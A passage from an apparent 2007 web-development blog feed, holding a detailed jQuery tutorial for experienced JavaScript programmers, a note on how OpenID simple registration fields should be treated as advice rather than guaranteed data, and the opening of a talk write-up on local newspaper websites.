&lt;p&gt;Online privacy campaigners frequently call for data and account deletion to be irreversible, but paradoxically this makes for even more trouble if an account is hijacked. Maybe applications should experiment with "root" level passwords that must be entered to make irreversible changes to an account (emptying the trash can for example). Of course, that just makes the whole password problem twice as bad.&lt;/p&gt;

&lt;p&gt;I don't have any answers, but I'd love to see some discussion about this. Are there any best practices that have already emerged in this area?&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2007/Sep/30/designing/#comments"&gt;&lt;img src="http://simonwillison.net/2007/Sep/30/designing/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="accounts" /><category term="csrf" /><category term="designingforabreach" /><category term="openid" /><category term="phishing" /><category term="privacy" /><category term="security" /><category term="xss" /></entry><entry><title>jQuery for JavaScript programmers</title><link href="http://simonwillison.net/2007/Aug/15/jquery/" rel="alternate" /><updated>2007-08-15T02:27:08Z</updated><id>http://simonwillison.net/2007/Aug/15/jquery/</id><summary type="html">&lt;p&gt;When &lt;a href="http://jquery.com/"&gt;jQuery&lt;/a&gt; came out back in January 2006, my first impression was that it was a cute hack. Basing everything around CSS selectors was a neat idea (see &lt;a href="http://simonwillison.net/2003/Mar/25/getElementsBySelector/"&gt;getElementsBySelector&lt;/a&gt;) but the chaining stuff looked like a bit of a gimmick and the library as a whole didn't look like it would cover all of the bases. I wrote jQuery off as a passing fad.&lt;/p&gt;

&lt;p&gt;Over the past few months it's become clear to me exactly how wrong I was. jQuery is an exceptionally clever piece of engineering. It neatly encapsulates an extraordinary range of common functionality, and provides a clever plugin API for any functionality not included by default. It takes a core abstraction - that of a selection of DOM elements - and extracts as much mileage out of it as possible. Most importantly, it does so in a way that obeys best practices and plays well with other JavaScript code.&lt;/p&gt;

&lt;p&gt;Most introductions to jQuery focus on designers and inexperienced developers. I'm going to try to explain why jQuery should be of interest to experienced programmers as well.&lt;/p&gt;

&lt;h3&gt;Namespacing&lt;/h3&gt;

&lt;p&gt;The key to writing good, reusable JavaScript is to zealously manage your namespace. JavaScript provides a single global namespace (the window object), and many programmers (and some libraries) add symbols to this with abandon. &lt;a href="http://yuiblog.com/blog/2006/06/01/global-domination/"&gt;Global variables are evil&lt;/a&gt;! Smart developers minimise their number of global objects, using techniques like &lt;a href="http://yuiblog.com/blog/2007/06/12/module-pattern/"&gt;the module pattern&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;jQuery introduces just one symbol to the global namespace: the jQuery function/object. Everything else is either a directy property of jQuery or a method of the object returned by calls to the jQuery function.&lt;/p&gt;

&lt;p&gt;What about language enhancements? Most libraries provide some variation of map, filter and strip, functions that are sadly missing from the JavaScript engines that ship with most browsers. Some libraries directly extend JavaScript's built-in String and Array classes, but this can be a risky strategy. &lt;code&gt;String.prototype&lt;/code&gt; and &lt;code&gt;Array.prototype&lt;/code&gt; are themselves global namespaces, and adding properties to them brings the same risk of collisions as being careless with regular globals.&lt;/p&gt;

&lt;p&gt;jQuery provides a number of language enhancement functions, but each one is made available as a property of the jQuery object: &lt;code&gt;jQuery.each&lt;/code&gt;, &lt;code&gt;jQuery.extend&lt;/code&gt;, &lt;code&gt;jQuery.grep&lt;/code&gt;, &lt;code&gt;jQuery.map&lt;/code&gt;, &lt;code&gt;jQuery.merge&lt;/code&gt; and &lt;code&gt;jQuery.trim&lt;/code&gt;. There's no chance of these colliding with someone else's code.&lt;/p&gt;

&lt;h3&gt;The infamous $ function&lt;/h3&gt;

&lt;p&gt;I wasn't being entirely truthful when I said that jQuery was the only global symbol introduced: the &lt;code&gt;$&lt;/code&gt; symbol is also set up as a shortcut for jQuery. Thankfully, this is done in a non-destructive way: if you need your old &lt;code&gt;$&lt;/code&gt; function back (if you are already using code based on Prototype, for example) you can call &lt;code&gt;jQuery.noConflict()&lt;/code&gt; to revert to the old &lt;code&gt;$&lt;/code&gt; function.&lt;/p&gt;

If you want the convenience of the &lt;code&gt;$&lt;/code&gt; function for jQuery without colliding with some other use of the global &lt;code&gt;$&lt;/code&gt; function, the jQuery documentation suggests the following idiom:

&lt;pre&gt;&lt;code class="javascript"&gt;(function($) {
    // Within this block, $ is a reference to jQuery
    // Neat, huh?
})(jQuery);&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Attaching everything to the &lt;code&gt;$&lt;/code&gt; symbol was one of the things that made me initially dismiss jQuery as a gimmick. For some reason thinking of it in terms of the jQuery symbol makes everything seem a lot more sensible, even though I'm happy to use the &lt;code&gt;$&lt;/code&gt; shortcut in my own code.&lt;/p&gt;

&lt;h3&gt;Selecting some elements&lt;/h3&gt;

&lt;p&gt;Every jQuery operation starts with selecting one or more nodes from the DOM. jQuery's &lt;a href="http://docs.jquery.com/DOM/Traversing/Selectors"&gt;selection syntax&lt;/a&gt; (really a domain specific language) is an interesting hybrid of CSS 1, 2, bits of CSS 3, some XPath and a few custom extensions as well. I won't describe it in detail here, but here are some useful examples:&lt;/p&gt;

&lt;dl&gt;
&lt;dt&gt;&lt;code&gt;jQuery('div.panel')&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;All divs with class="panel"&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('p#intro')&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;The paragraph with id="intro"&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('div#content a:visible')&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;All visible links inside the div with id="content"&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('input[@name=email]')&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;All input fields with name="email"&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('table.orders tr:odd')&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;"odd" numbered rows in a table with class "orders"&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('a[@href^="http://"]')&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;All external links (links that start with http://)&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('p[a]')&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;All paragraphs that contain one or more links&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;Of particular interest from the above are &lt;code&gt;:visible&lt;/code&gt; and &lt;code&gt;:odd&lt;/code&gt;, which are jQuery specific extensions. Also note that the attribute selectors use an @ sign, in common with XPath rather than CSS 2.&lt;/p&gt;

&lt;p&gt;The selection language is extremely rich, and is similar to regular expressions in that time taken to learn it will pay off many times over.&lt;/p&gt;

&lt;h3&gt;Doing stuff with them&lt;/h3&gt;

&lt;p&gt;The object returned by a jQuery selector call is an interesting beast. It represents a collection of DOM elements, and behaves a bit like an array - it has a length property, items can be accessed by index and (most importantly) &lt;a href="http://www.getfirebug.com/"&gt;Firebug&lt;/a&gt; treats it as an array when displaying it in the interactive console. This is a clever illusion; the collection is actually a jQuery object, incorporating a large number of methods which can be used to query, modify and extend the collection of selected elements.&lt;/p&gt;

&lt;p&gt;There are three principle categories of jQuery methods: those that manipulate all of the matched elements, those that return a value from the first matched object, and those that modify the selection itself.&lt;/p&gt;

&lt;p&gt;I won't list all of the methods (see &lt;a href="http://visualjquery.com/"&gt;visualjquery.com&lt;/a&gt; for that), but I'll illustrate with some examples. If you have Firebug you can try these out interactively: use this &lt;a href="javascript:void(function(){var s=document.createElement('script');s.src='http://code.jquery.com/jquery-1.1.2.js';document.getElementsByTagName('head')[0].appendChild(s);}())"&gt;Insert jQuery&lt;/a&gt; bookmarklet first to load the jQuery library in to any page, then paste the code examples in to the Firebug console.&lt;/p&gt;

&lt;dl&gt;
&lt;dt&gt;&lt;code&gt;jQuery('div#primary').width(300);&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Set the width of div id="primary" to 300 px.&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('p').css('line-height', '1.8em');&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Apply a line-height of 1.8em to all paragraphs.&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('li:odd').css({color: 'white', backgroundColor: 'black'});&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Apply two CSS rules to every other list item; note that the css() function can take an object instead of two strings.&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('a[@href^="http://"]').addClass('external').attr('target', '_blank');&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Add a class of "external" to all external links (those beginning with http://), then add target="_blank" for good measure. This makes use of chaining, described below.&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('blockquote').each(function(el) { alert(jQuery(this).text()) });&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Iterate over every blockquote on the page, and alert its textual content (excluding HTML tags).&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('a').html('Click here!');&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Replace all link text on the page with the insidious "Click here!".&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;Here are some examples of methods that read values from the first matched element:&lt;/p&gt;

&lt;dl&gt;
&lt;dt&gt;&lt;code&gt;var width = jQuery('div').width();&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;How wide is the first div on the page?&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;var src = jQuery('img').attr('src');&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;What's the src attribute of the first image on the page?&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;var color = jQuery('h1').css('color');&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;What colour is the first h1?&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;There's a pleasing symmetry at work here: the methods used to set attributes (when passed two arguments, or an object representing multiple settings) can instead be used to read values if called with only one argument. This symmetry is used throughout jQuery, making the API much easier to commit to memory.&lt;/p&gt;

&lt;p&gt;Finally, there are methods that modify the set of selected elements itself. Many of these also provide simpler ways of traversing the DOM:&lt;/p&gt;

&lt;dl&gt;
&lt;dt&gt;&lt;code&gt;jQuery('div').not('[@id]')&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Returns divs that do not have an id attribute.&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('h2').parent()&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Returns all elements that are direct parents of an h2.&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('blockquote').children()&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Returns all elements that are children of a blockquote.&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('p').eq(4).next()&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Find the fifth paragraph on the page, then find the next element (its direct sibling to the right).&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('input:text:first').parents('form')&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Find the form parent of the first input type="text" field on the page. The optional argument to parents() is another selector.&lt;/dd&gt;
&lt;/dl&gt;

&lt;h3&gt;Chaining&lt;/h3&gt;

&lt;p&gt;The jQuery team frequently boast about jQuery's support of chaining, even to the point of declaring that "jQuery is designed to change the way that you write JavaScript" right on the front page. Personally I found this a big turn-off, so I'm happy to say that you can make good use of jQuery while avoiding lengthy chains of methods entirely.&lt;/p&gt;

&lt;p&gt;That said, chaining can be used for some neat tricks. In addition to chaining a bunch of DOM manipulation methods together, you can use jQuery's &lt;code&gt;end()&lt;/code&gt; method to push and pop a stack of the selected element contexts. This is a little hard to explain; essentially, every time you use a method that changes the selected set of elements (such as &lt;code&gt;children()&lt;/code&gt; or &lt;code&gt;filter()&lt;/code&gt;) you can later use &lt;code&gt;end()&lt;/code&gt; to revert back to the previous selection. Jesse Skinner gives a neat example of this in action in his tutorial &lt;a href="http://www-128.ibm.com/developerworks/library/x-ajaxjquery.html"&gt;Simplify Ajax development with jQuery&lt;/a&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;$('form#login')
    // hide all the labels inside the form with the 'optional' class
    .find('label.optional').hide().end()
    // add a red border to any password fields in the form
    .find('input:password').css('border', '1px solid red').end()
    // add a submit handler to the form
    .submit(function(){
        return confirm('Are you sure you want to submit?');
    });
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;That whole thing is essentially a one-liner. It selects a form, finds some elements within that form, applies changes to them, reverts the selection back to the original form and assigns a &lt;code&gt;submit()&lt;/code&gt; handler to it.&lt;/p&gt;

&lt;p&gt;It's a cute concept, but you don't have to use it if you don't want to. I'm quite happy splitting my code up with a few self-documenting variable names.&lt;/p&gt;

&lt;h3&gt;DOM manipulation&lt;/h3&gt;

&lt;p&gt;jQuery offers a few smart ways of making large scale manipulations to the DOM. The first is quite surprising: the jQuery function can take a snippet of HTML which it will turn in to a DOM element (it actually looks out for a string that starts with a less than sign):&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;var div = jQuery('&amp;lt;div&amp;gt;Some text&amp;lt;/div&amp;gt;');
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;You can use chaining to add attributes to the div once it has been created:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;var div = jQuery('&amp;lt;div&amp;gt;Some text&amp;lt;/div&amp;gt;').addClass('inserted').attr('id', 'foo');
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now append it to the body tag:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;div.appendTo(document.body)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Or prepend it to a known location using a selector:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;div.prependTo('div#primary')
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Handling events&lt;/h3&gt;

&lt;p&gt;All JavaScript libraries need an event handling utility and jQuery's is no exception. As with &lt;code&gt;attr()&lt;/code&gt; and &lt;code&gt;css()&lt;/code&gt;, the event methods serve dual purpose: call them with a function to assign an event handler; call them without to simulate that event being triggered:&lt;/p&gt;

&lt;dl&gt;
&lt;dt&gt;&lt;code&gt;jQuery('p').click(function() { jQuery(this).css('background-color', 'red'); });&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Set up paragraphs so that when you click them they turn red.&lt;/dd&gt;
&lt;dt&gt;&lt;code&gt;jQuery('p:first').click()&lt;/code&gt;&lt;/dt&gt;
    &lt;dd&gt;Send a fake "click" to the first paragraph on the page.&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;Similar functions exist for the other browser events - mouseover, keyup and so on. Note that within an event handler the 'this' keyword is set to the element that triggered the event; using &lt;code&gt;jQuery(this)&lt;/code&gt; is a common idiom to enable jQuery methods on that element.&lt;/p&gt;

&lt;p&gt;A couple of event related functions deserve a special mention:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;jQuery('a').hover(function() {
    jQuery(this).css('background-color', 'orange');
}, function() {
    jQuery(this).css('background-color', 'white');
});
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;hover()&lt;/code&gt; is a shortcut for setting up two functions that run onmouseover and onmouseout.&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;jQuery('p').one('click', function() { alert(jQuery(this).html()); });
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;one()&lt;/code&gt; sets up an event handler that will be removed after the first time it has been fired. The above example causes all paragraphs to alert their contents once the first time they are clicked.&lt;/p&gt;

&lt;p&gt;jQuery also supports custom events, through the &lt;code&gt;bind()&lt;/code&gt; and &lt;code&gt;trigger()&lt;/code&gt; methods (for which &lt;code&gt;click()&lt;/code&gt; and friends are just shortcuts). Custom events can take arguments, handled using an array passed to &lt;code&gt;trigger()&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;jQuery(document).bind('stuffHappened', function(event, msg) {
    alert('stuff happened: ' + msg);
});
jQuery(document).trigger('stuffHappened', ['Hello!']);
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Unobtrusive scripting&lt;/h3&gt;

&lt;p&gt;This is a topic that is very dear to me.  I still believe that the best Web applications are the ones that are still usable with scripting turned off, and that the best way to achieve that is through unobtrusive scripting, with events being assigned to elements after the regular page has been loaded (see &lt;a href="http://onlinetools.org/articles/unobtrusivejavascript/"&gt;Unobtrusive Scripting&lt;/a&gt; and &lt;a href="http://domscripting.com/blog/display/41"&gt;Hijax&lt;/a&gt; for more).&lt;/p&gt;

&lt;p&gt;jQuery has excellent support for this. Firstly, the node selection metaphor is core to both jQuery and unobtrusive scripting as a whole. Secondly, jQuery ships with a solution to &lt;a href="http://peter.michaux.ca/article/553"&gt;the window.onload problem&lt;/a&gt; based on Dean Edwards' work getting a "DOM loaded" event to work cross-browser. You can set a function up to run when the DOM is ready for it like so:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;jQuery(document).ready(function() {
    alert('The DOM is ready!');
});
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Even better, you can shortcut the above by passing your function directly to &lt;code&gt;jQuery()&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;jQuery(function() {
    alert('The DOM is ready!');
});
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;jQuery and Ajax&lt;/h3&gt;

&lt;p&gt;jQuery has the best API for Ajax I've seen in any of the major libraries. The most simple form of an Ajax call looks like this:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;jQuery('div#intro').load('/some/fragment.html');
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This performs a GET request against &lt;var&gt;/some/fragment.html&lt;/var&gt; and populates div#intro with the returned HTML fragment.&lt;/p&gt;

&lt;p&gt;The first time I saw this, I was unimpressed. It's a neat shortcut, but what if you want to do something more advanced like display an Ajax loading indicator? jQuery exposes custom events (&lt;code&gt;ajaxStart&lt;/code&gt;, &lt;code&gt;ajaxComplete&lt;/code&gt;, &lt;code&gt;ajaxError&lt;/code&gt; and more) for you to hook in this kind of code. It also offers a comprehensive low-level API for more complex Ajax interactions:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;jQuery.get('/some/script.php', {'name': 'Simon'}, function(data) {
    alert('The server said: ' + data);
}); // GET against /some/script.php?name=Simon

jQuery.post('/some/script.php', {'name': 'Simon'}, function(data) {
    alert('The server said: ' + data);
}); // POST to /some/script.php

jQuery.getJSON('/some.json', function(json) {
    alert('JSON rocks: ' + json.foo + ' ' + json.bar);
}); // Retrieves and parses /some.json as JSON

jQuery.getScript('/script.js'); // GET and eval() /script.js
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Plugins&lt;/h3&gt;

&lt;p&gt;Considering the amount of functionality you get out of the box, jQuery is actually pretty small - it comes in at 20KB when minified, even smaller when gzipped. Additional functionality outside the framework is handled using plugins, which can (and do) add brand new methods to the existing jQuery instance object. If you want to be able to run:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;jQuery('p').bounceAroundTheScreenAndTurnGreen();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;jQuery's plugin mechanism provides documented hooks for adding that method to the jQuery system. The ease with which these can be created has attracted an impressive community of plugin authors; the &lt;a href="http://jquery.com/plugins/"&gt;Plugin directory&lt;/a&gt; lists well over 100.&lt;/p&gt;

&lt;p&gt;One really nice touch is that you can add custom selectors in a similar way to custom methods. The &lt;a href="http://jquery.com/plugins/project/moreSelectors"&gt;moreSelectors plugin&lt;/a&gt; adds things like "div:color(red)" to match divs with red text, for example.&lt;/p&gt;

&lt;h3&gt;Leaky abstractions&lt;/h3&gt;

&lt;p&gt;In my new-found respect for jQuery, I've been struggling with one philosophical blocker. For the past few years, I've been advising people to only pick a  JavaScript library if they were willing to read the source code and figure out exactly how it works. My reasoning was based on Joel Spolsky's classic essay &lt;a href="http://www.joelonsoftware.com/articles/LeakyAbstractions.html"&gt;The Law of Leaky Abstractions&lt;/a&gt;, which points out that the more complexity your APIs are hiding, the more trouble you'll be in when some of that complexity leaks through. Browsers are the leakiest abstraction of them all, so being able to dig yourself out of a hole when the library fails to cover for you is of paramount importance.&lt;/p&gt;

&lt;p&gt;jQuery uses some really arcane tricks to achieve its functionality - parts of it (like the selector code) are positively terrifying. If understanding exactly how the library works is necessary, jQuery must be a poor choice for the majority of developers. However, the enormous popularity of jQuery combined with a distinct lack of horror stories demonstrates that this is not the case.&lt;/p&gt;

&lt;p&gt;I think I'm going to have to reconsider my advice. The way the library works isn't the issue: it's understanding the underlying issues, and knowing what kind of browser differences there are and what kind of techniques your library is using to fix them. No library can protect you 100% against weird browser behaviour, but as long as you have a grounding in the underlying theory you should be able to figure out if a problem stems from your own code, your library or the underlying implementation.&lt;/p&gt;

&lt;h3&gt;To conclude&lt;/h3&gt;

&lt;p&gt;I hope I've made the case that jQuery isn't &lt;em&gt;just&lt;/em&gt; another library - there are enough interesting ideas in there to teach even the most hardened of JavaScript programmers some new tricks. Even if you don't intend on using it, it's still worth spending some time exploring the jQuery ecosystem.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2007/Aug/15/jquery/#comments"&gt;&lt;img src="http://simonwillison.net/2007/Aug/15/jquery/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="javascript" /><category term="jquery" /><category term="libraries" /></entry><entry><title>A note about simple registration</title><link href="http://simonwillison.net/2007/Jun/30/sreg/" rel="alternate" /><updated>2007-06-30T21:28:30Z</updated><id>http://simonwillison.net/2007/Jun/30/sreg/</id><summary type="html">&lt;p&gt;&lt;a href="http://openid.net/specs/openid-simple-registration-extension-1_0.html"&gt;Simple registration&lt;/a&gt; is an extension that allows OpenID consumers to ask your provider for extra information - your name, e-mail address, date of birth and so on.&lt;/p&gt;

&lt;p&gt;Unfortunately, the spec often causes confusion for implementers. Here's the tricky part:&lt;/p&gt;

&lt;blockquote cite="http://openid.net/specs/openid-simple-registration-extension-1_0.html"&gt;
&lt;dl&gt;
&lt;dt&gt;openid.sreg.required:&lt;/dt&gt;
&lt;dd&gt;Comma-separated list of
	  field names which, if absent from the response, will
	  prevent the Consumer from completing the
	  registration without End User interaction.
&lt;/dd&gt;
&lt;dt&gt;openid.sreg.optional:&lt;/dt&gt;
&lt;dd&gt;Comma-separated list of
	  field names Fields that will be used by the Consumer, but
	  whose absence will not prevent the registration from
	  completing.
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is often interpreted as meaning that you can pass along a list of required fields and be guaranteed that they will be handed back to you. This is not the case: some providers (&lt;a href="http://idproxy.net/"&gt;idproxy.net&lt;/a&gt; for example) don't support simple registration at all; others (like &lt;a href="http://wordpres.com/"&gt;WordPress.com&lt;/a&gt;) only support a subset of the fields, since they don't store details such as the user's postcode. If your provider insists on certain values being returned by simple registration, some of your potential users will be unable to sign in.&lt;/p&gt;

&lt;p&gt;The misunderstanding stems from the definition attached to the required field. When you make a simple registration request, you're providing &lt;em&gt;advice&lt;/em&gt; to the provider. You're essentially saying that the user is going to have to provide this data eventually in order to register with your service, so it would be really handy if the provider could send it over to you. If they don't, your application will have no choice but to ask the user for it directly.&lt;/p&gt;

&lt;p&gt;In other words, even if you specify required values you shouldn't expect them to come back every time.&lt;/p&gt;

&lt;p&gt;By far the best way to use simple registration is as a way of pre-filling a signup form for your user. Many applications ask the user to complete a short registration form the first time they sign in with their OpenID. Use simple registration to pre-fill some of those form values - that way, if it's not available (or some of the values are missing) your application logic doesn't really care, it's just one more form field that the user will have to complete themselves. &lt;a href="http://ma.gnolia.com/"&gt;Ma.gnolia.com&lt;/a&gt; is a great example of a site that does the right thing.&lt;/p&gt;

&lt;p&gt;See also &lt;a href="http://openid.net/pipermail/general/2007-March/thread.html#1874"&gt;this thread on the mailing list&lt;/a&gt; from back in March.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2007/Jun/30/sreg/#comments"&gt;&lt;img src="http://simonwillison.net/2007/Jun/30/sreg/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="idproxy" /><category term="magnolia" /><category term="openid" /><category term="sreg" /><category term="wordpress" /></entry><entry><title>Doing Local Right</title><link href="http://simonwillison.net/2007/Jun/11/local/" rel="alternate" /><updated>2007-06-11T22:46:18Z</updated><id>http://simonwillison.net/2007/Jun/11/local/</id><summary type="html">&lt;p&gt;"Doing Local Right" was the title of my talk at this year's &lt;a href="http://www.vivabit.com/atmedia2007/europe/"&gt;@media Europe&lt;/a&gt;. &lt;a href="http://www.htmldog.com/"&gt;Patrick&lt;/a&gt; had asked me if I could put together a case study, and I jumped at the chance to share some of the work of my former colleagues at &lt;a href="http://www.ljworld.com/"&gt;the Lawrence Journal-World&lt;/a&gt; newspaper in Lawrence, Kansas. I had the privilege of working at the newspaper for a year in late 2003-2004.&lt;/p&gt;

&lt;p&gt;I started the talk by introducing two semi-related problems. The first is that the local search offerings from the big Internet companies are pretty poor - it's difficult to tell how comprehensive or accurate their business listings are, and they lack any sense of the flavour that real local knowledge can provide.&lt;/p&gt;

&lt;p&gt;Meanwhile, the newspaper industry is stuck in a self-declared &lt;a href="http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2007/05/29/EDGFKQ20N61.DTL" title="The decline of news"&gt;state of crisis&lt;/a&gt;, with classified advertising decimated by free online listings and the bulk of their stories (taken from the same wire services as every other paper) quickly becoming a commodity.&lt;/p&gt;

&lt;p&gt;Newspapers and local websites are a perfect match. Newspapers have the reporters, the relationships and the resources to provide better coverage of their local areas than anyone else could even dream of. That's exactly what the team at the Lawrence Journal-World have spent the past five years doing.&lt;/p&gt;

&lt;p&gt;I only had 25 minutes for the talk, so I concentrated on &lt;a href="http://www.lawrence.com/"&gt;www.lawrence.com&lt;/a&gt;, &lt;a href="http://www.ljworld.com/"&gt;www.ljworld.com&lt;/a&gt; and &lt;a href="http://www.ljworld.com/marketplace/"&gt;www.ljworld.com/marketplace&lt;/a&gt;. Lawrence.com is my favourite of the three: it's the local entertainment site that every city in the world needs, but very few actually have. I covered the following features:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A comprehensive &lt;a href="http://www.lawrence.com/events/"&gt;events calendar&lt;/a&gt; (with editorially selected "&lt;a href="http://www.lawrence.com/events/bestbets/"&gt;best bets&lt;/a&gt;")&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.lawrence.com/blogs/"&gt;Blogs&lt;/a&gt; by local residents&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.lawrence.com/movies/listings/"&gt;Movie listings&lt;/a&gt; for local cinemas (with links to the reviews by both newspaper staff and members of the public)&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.lawrence.com/events/2007/jun/07/20522/"&gt;Detailed event coverage&lt;/a&gt;, including additional dates, weather forecasts for outdoor events in the next few days and an SMS/e-mail reminder service&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.lawrence.com/events/2007/jun/07/20097/"&gt;Gig listings&lt;/a&gt; that incorporate MP3 downloads ("if you go, you might hear") from the 1,000+ MP3s of local bands hosted by the site&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.lawrence.com/drinkspecials/"&gt;Drink specials&lt;/a&gt;, which also appear on relevant event and venue pages&lt;/li&gt;
  &lt;li&gt;The local band and music database, browseable by &lt;a href="http://www.lawrence.com/bands/ok_jones/"&gt;band&lt;/a&gt;, &lt;a href="http://www.lawrence.com/musicians/richard_gintowt/"&gt;musician&lt;/a&gt;, &lt;a href="http://www.lawrence.com/music/alt_indie_rock/"&gt;genre&lt;/a&gt; and more&lt;/li&gt;
  &lt;li&gt;The &lt;a href="http://www.lawrence.com/restaurants/"&gt;local restaurant listings&lt;/a&gt;, including kitchen hours (and hence the infamous &lt;a href="http://www.lawrence.com/restaurants/opennow/"&gt;restaurants open right now&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;The &lt;a href="http://www.lawrence.com/downloads/"&gt;downloads page&lt;/a&gt;, which combines data from all over the site to present MP3s for download that are by bands which are playing gigs in the next week ("see 'em live at the Bottleneck")&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The point I was trying to make (one which I've seen &lt;a href="http://www.holovaty.com/"&gt;Adrian Holovaty&lt;/a&gt; make many times) is that if you take good care of your data you can slice and dice it in dozens of unexpected ways.&lt;/p&gt;

&lt;p&gt;Next up was &lt;a href="http://www.ljworld.com/"&gt;LJWorld.com&lt;/a&gt;, which the team re-launched &lt;a href="http://www2.jeffcroft.com/sidenotes/2007/may/02/random-updates/"&gt;last month&lt;/a&gt;. The new site continues the trend of &lt;a href="http://www2.ljworld.com/news/2007/jun/07/horsemen_sheriffs_officers_catch_elusive_wild_stal/#comments"&gt;user comments&lt;/a&gt; on pretty much everything, and I demonstrated the funky new &lt;a href="http://www2.ljworld.com/multimedia/"&gt;multimedia&lt;/a&gt; page which again illustrates the value of rich data models. The &lt;a href="http://www2.ljworld.com/elections/2007/apr/03/races/lawrence_city_commission/"&gt;election results coverage&lt;/a&gt; and "Minors in possession" &lt;a href="http://www2.ljworld.com/data/alcohol_violations/mip/"&gt;special report&lt;/a&gt; also got a mention.&lt;/p&gt;

